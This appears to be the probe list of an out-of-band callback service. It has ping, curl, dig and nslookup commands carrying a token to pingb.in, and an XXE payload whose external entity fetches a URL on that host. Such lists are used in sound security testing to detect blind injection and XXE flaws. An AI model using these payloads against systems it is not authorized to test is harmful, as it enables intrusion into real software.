$ ping -c1 -p 0003873eb647d5b44f99a68335a52500 pingb.in
$ curl pingb.in/p/03873eb647d5b44f99a68335a525
$ dig 03873eb647d5b44f99a68335a525 @pingb.in
$ dig 03873eb647d5b44f99a68335a525.ns.pingb.in
C:\> nslookup 03873eb647d5b44f99a68335a525 pingb.in
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://pingb.in/p/03873eb647d5b44f99a68335a525">]> <foo>&xxe;</foo>